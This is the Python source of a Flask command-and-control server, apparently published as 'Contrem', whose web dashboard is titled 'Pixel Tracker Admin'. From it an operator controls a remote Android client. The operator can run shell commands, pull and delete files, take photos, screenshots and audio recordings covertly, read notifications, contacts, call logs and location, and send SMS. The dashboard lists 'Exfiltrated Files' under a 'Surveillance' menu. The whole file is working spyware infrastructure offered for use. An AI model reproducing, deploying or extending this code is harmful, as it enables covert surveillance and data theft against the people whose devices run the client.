Contrem / app.py
Aleksmorshen's picture
Update app.py
668a794 verified
from flask import Flask, request, render_template_string, jsonify, send_from_directory, url_for
import os
import datetime
import uuid
import werkzeug.utils
import json
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client'
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
pending_command = None
command_output = "Waiting for client..."
last_client_heartbeat = None
current_client_path = "~"
device_status_info = {}
notifications_history = []
contacts_list = []
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pixel Tracker Admin</title>
<style>
body{font-family:sans-serif;margin:0;padding:0;background:#f4f4f4;display:flex;height:100vh}
.sidebar{width:240px;background:#333;color:#fff;overflow-y:auto}
.sidebar h2{text-align:center;padding:10px;border-bottom:1px solid #555}
.sidebar ul{list-style:none;padding:0}
.sidebar li a{display:block;padding:15px;color:#ccc;text-decoration:none;border-bottom:1px solid #444}
.sidebar li a:hover,.sidebar li a.active{background:#444;color:#fff}
.content{flex:1;padding:20px;overflow-y:auto}
.panel{background:#fff;padding:20px;border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.1);margin-bottom:20px;display:none}
.panel.active{display:block}
.status-bar{background:#ddd;padding:10px;margin-bottom:20px;border-radius:5px;font-weight:bold}
.online{color:green}.offline{color:red}
pre{background:#222;color:#0f0;padding:15px;border-radius:5px;overflow-x:auto;white-space:pre-wrap}
input,button,select,textarea{padding:10px;margin:5px 0;border-radius:3px;border:1px solid #ccc;width:100%;box-sizing:border-box}
button{background:#007bff;color:#fff;border:none;cursor:pointer}
button:hover{background:#0056b3}
.file-list li{display:flex;justify-content:space-between;padding:5px;border-bottom:1px solid #eee}
</style>
<script>
async function api(endpoint, data={}){
return await fetch(endpoint, {method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)});
}
function show(id){
document.querySelectorAll('.panel').forEach(d=>d.classList.remove('active'));
document.getElementById(id).classList.add('active');
document.querySelectorAll('.sidebar a').forEach(a=>a.classList.remove('active'));
event.target.classList.add('active');
}
async function update(){
let r = await fetch('/get_status');
let d = await r.json();
document.getElementById('out').innerText = d.output;
document.getElementById('path').innerText = d.path;
let hb = new Date(d.heartbeat);
let diff = (new Date()-hb)/1000;
let st = document.getElementById('stat');
st.innerText = diff < 30 ? "ONLINE" : "OFFLINE";
st.className = diff < 30 ? "online" : "offline";
if(d.status){
let bat = d.status.battery || {};
let loc = d.status.location || {};
document.getElementById('dev_stat').innerHTML = `Battery: ${bat.percentage}%<br>Location: ${loc.latitude}, ${loc.longitude}`;
}
renderList('notif_list', d.notifications, item => `<b>${item.packageName}</b>: ${item.title} - ${item.content}`);
renderList('cont_list', d.contacts, item => `<b>${item.name}</b>: ${item.number}`);
}
function renderList(id, list, fmt){
let el = document.getElementById(id);
el.innerHTML = '';
list.forEach(i=>{let d=document.createElement('div');d.innerHTML=fmt(i);d.style.borderBottom='1px solid #eee';d.style.padding='5px';el.appendChild(d)});
}
function send(type, args={}){ args.command_type=type; api('/send_command', args); }
function sh(){ send('shell', {command:document.getElementById('cmd').value}); document.getElementById('cmd').value=''; }
function nav(p){ send('list_files', {path:p}); }
function dl(f){ send('request_download_file', {filename:f}); }
function zip(f){ send('zip_and_upload_dir', {path:f}); }
function del(f){ if(confirm('Del?')) send('delete_file', {filename:f}); }
async function upload_srv(e){
e.preventDefault();
let f = new FormData(document.getElementById('up_form'));
await fetch('/upload_to_server_for_client', {method:'POST',body:f});
alert('Uploaded to server. Now initiating client download.');
}
setInterval(update, 3000);
window.onload=update;
</script>
</head>
<body>
<div class="sidebar">
<h2>Tracker</h2>
<ul>
<li><a href="#" onclick="show('dash')" class="active">Dashboard</a></li>
<li><a href="#" onclick="show('files')">Files</a></li>
<li><a href="#" onclick="show('media')">Media</a></li>
<li><a href="#" onclick="show('info')">Info & Logs</a></li>
<li><a href="#" onclick="show('server')">Server Files</a></li>
</ul>
</div>
<div class="content">
<div class="status-bar">Status: <span id="stat" class="offline">Checking...</span> | Path: <span id="path">~</span></div>
<div id="dash" class="panel active">
<h3>Shell</h3>
<input id="cmd" placeholder="Command..." onkeypress="if(event.key==='Enter') sh()">
<button onclick="sh()">Run</button>
<h3>Output</h3>
<pre id="out"></pre>
<h3>Device Status</h3>
<div id="dev_stat">No Data</div>
<button onclick="send('get_device_status')">Refresh Status</button>
</div>
<div id="files" class="panel">
<h3>File Manager</h3>
<button onclick="nav('~')">Home</button>
<button onclick="nav('/sdcard')">SD Card</button>
<input id="cpath" placeholder="Path...">
<button onclick="nav(document.getElementById('cpath').value)">Go</button>
<hr>
<form id="up_form" onsubmit="upload_srv(event)">
<input type="file" name="file_to_device">
<input name="target_path_on_device" value="/sdcard/Download/">
<button type="submit">Upload to Device</button>
</form>
<p>Use shell 'ls -F' to see files, then type name below to action.</p>
<input id="tfile" placeholder="Target filename/folder">
<button onclick="dl(document.getElementById('tfile').value)">Download File</button>
<button onclick="zip(document.getElementById('tfile').value)">Zip & Download Folder</button>
<button onclick="del(document.getElementById('tfile').value)" style="background:red">Delete</button>
</div>
<div id="media" class="panel">
<h3>Surveillance</h3>
<button onclick="send('take_photo', {camera_id:'0'})">Rear Cam</button>
<button onclick="send('take_photo', {camera_id:'1'})">Front Cam</button>
<button onclick="send('screenshot')">Screenshot</button>
<button onclick="send('record_audio', {duration:10})">Rec Audio (10s)</button>
<hr>
<input id="tts" placeholder="TTS Text">
<button onclick="send('tts_speak', {text:document.getElementById('tts').value})">Speak</button>
<button onclick="send('torch', {state:'on'})">Torch ON</button>
<button onclick="send('torch', {state:'off'})">Torch OFF</button>
</div>
<div id="info" class="panel">
<h3>Data</h3>
<button onclick="send('get_notifications')">Get Notifications</button>
<button onclick="send('get_contacts')">Get Contacts</button>
<button onclick="send('get_call_log')">Get Call Log</button>
<button onclick="send('get_wifi_info')">Get WiFi Info</button>
<button onclick="send('get_device_info')">Device Info</button>
<div style="display:flex">
<div style="flex:1;margin-right:10px">
<h4>Notifications</h4>
<div id="notif_list" style="max-height:300px;overflow:auto"></div>
</div>
<div style="flex:1">
<h4>Contacts</h4>
<div id="cont_list" style="max-height:300px;overflow:auto"></div>
</div>
</div>
<h4>SMS</h4>
<input id="sms_n" placeholder="Number">
<input id="sms_t" placeholder="Message">
<button onclick="send('send_sms', {number:document.getElementById('sms_n').value, text:document.getElementById('sms_t').value})">Send SMS</button>
</div>
<div id="server" class="panel">
<h3>Exfiltrated Files</h3>
<button onclick="location.reload()">Refresh</button>
<ul class="file-list">
{% for f in uploaded_files %}
<li>
<a href="/uploads_from_client/{{f}}" target="_blank">{{f}}</a>
</li>
{% endfor %}
</ul>
</div>
</div>
</body>
</html>
"""
@app.route('/')
def index():
files = sorted(os.listdir(app.config['UPLOAD_FOLDER']))
return render_template_string(HTML_TEMPLATE, uploaded_files=files)
@app.route('/send_command', methods=['POST'])
def handle_send_command():
global pending_command, command_output
data = request.json
cmd_type = data.get('command_type')
command_payload = {'type': cmd_type}
if cmd_type == 'shell': command_payload['command'] = data.get('command')
elif cmd_type == 'list_files': command_payload['path'] = data.get('path')
elif cmd_type == 'request_download_file': command_payload = {'type': 'upload_to_server', 'filename': data.get('filename')}
elif cmd_type == 'zip_and_upload_dir': command_payload['path'] = data.get('path')
elif cmd_type == 'delete_file': command_payload['filename'] = data.get('filename')
elif cmd_type == 'take_photo': command_payload['camera_id'] = data.get('camera_id')
elif cmd_type == 'record_audio': command_payload['duration'] = data.get('duration')
elif cmd_type == 'clipboard_set': command_payload['text'] = data.get('text')
elif cmd_type == 'open_url': command_payload['url'] = data.get('url')
elif cmd_type == 'send_sms':
command_payload['number'] = data.get('number')
command_payload['text'] = data.get('text')
elif cmd_type == 'tts_speak': command_payload['text'] = data.get('text')
elif cmd_type == 'vibrate': command_payload['duration'] = data.get('duration')
elif cmd_type == 'torch': command_payload['state'] = data.get('state')
elif cmd_type == 'receive_file':
fname = data.get('server_filename')
command_payload['download_url'] = url_for('download_client', filename=fname, _external=True)
command_payload['target_path'] = data.get('target_path_on_device')
command_payload['original_filename'] = fname.split('_', 1)[1] if '_' in fname else fname
pending_command = command_payload
command_output = "Command queued..."
return jsonify({'status': 'queued'})
@app.route('/get_command', methods=['GET'])
def get_command():
global pending_command
if pending_command:
c = pending_command
pending_command = None
return jsonify(c)
return jsonify(None)
@app.route('/submit_client_data', methods=['POST'])
def submit_data():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
data = request.json
if not data: return jsonify({'status':'no_data'}), 400
last_client_heartbeat = datetime.datetime.utcnow().isoformat()
if 'output' in data: command_output = data['output']
if 'current_path' in data: current_client_path = data['current_path']
if 'device_status_update' in data: device_status_info = data['device_status_update']
if 'notifications_update' in data: notifications_history = data['notifications_update']
if 'contacts_update' in data: contacts_list = data['contacts_update']
return jsonify({'status': 'ok'})
@app.route('/get_status', methods=['GET'])
def get_status():
return jsonify({
'output': command_output,
'heartbeat': last_client_heartbeat,
'path': current_client_path,
'status': device_status_info,
'notifications': notifications_history,
'contacts': contacts_list
})
@app.route('/upload_from_client', methods=['POST'])
def upload_rx():
f = request.files['file']
if f:
fn = werkzeug.utils.secure_filename(f.filename)
f.save(os.path.join(app.config['UPLOAD_FOLDER'], fn))
return jsonify({'status': 'success'})
return jsonify({'status': 'error'}), 400
@app.route('/uploads_from_client/<path:filename>')
def serve_upload(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/upload_to_server_for_client', methods=['POST'])
def upload_tx():
global pending_command
f = request.files['file_to_device']
target = request.form.get('target_path_on_device')
if f and target:
fn = str(uuid.uuid4()) + "_" + werkzeug.utils.secure_filename(f.filename)
f.save(os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], fn))
pending_command = {
'type': 'receive_file',
'download_url': url_for('download_client', filename=fn, _external=True),
'target_path': target,
'original_filename': werkzeug.utils.secure_filename(f.filename)
}
return jsonify({'status': 'success'})
return jsonify({'status': 'error'}), 400
@app.route('/download_to_client/<filename>')
def download_client(filename):
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=False)